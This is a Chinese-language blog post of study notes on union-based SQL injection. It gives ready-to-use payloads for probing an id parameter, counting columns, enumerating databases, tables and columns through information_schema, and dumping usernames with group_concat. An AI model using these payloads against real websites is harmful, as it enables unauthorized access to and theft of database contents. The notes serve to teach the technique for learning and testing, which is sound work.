union注入 (Error based)

探测漏洞

GET参数id
重点在于系统是否执行了我们输入的语句

  1. 单引号:?id=1’
  2. 逻辑:对比两个页面
    ?id=1 and 1=1和?id=1 and 1=2(数字型注入)
    ?id=1’ and ‘1’=‘1和?id=1’ and ‘1’='2(字符型注入)
  3. 加减:对比两个页面
    ?id=2-1和?id=1

利用漏洞

基础

  联合注入条件:有回显位。知道字段数。
  联合注入语句:
查字段:?id=1’ order by x#(查询有结果才能排序)
联合:?id=0’ union select #(第一次查询为空,才显示第二次查询结果)
查库:?id=0’ union select 1,schema_name,3 from information_schema.schemata#
查表:?id=0’ union select 1,table_name,3 from information_schema.tables where table_schema=database()#
查字段名:?id=0’ union select 1,column_name,3 from information_schema.columns where table_name=‘xx’#
(where语句输入具体的数据库名、表名时,需要加单引号)
查字段值:?id=0’ union select 1,group_concat(username),3 from users#

  联合注入常用函数:
查看数据库当前用户:user()
查看数据库版本信息:version()
查看当前使用的库:database()
把结果拼接成一行显示:group_concat()

  联合注入涉及的数据库结构:
默认数据库:information_schema
字段是所有数据库名的表:information_schema.schemata
字段是所有表名的表:information_schema.tables
字段是所有字段的表:information_schema.columns

补充

  注释符:#(URL编码格式是%23),–+(减减加)。


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值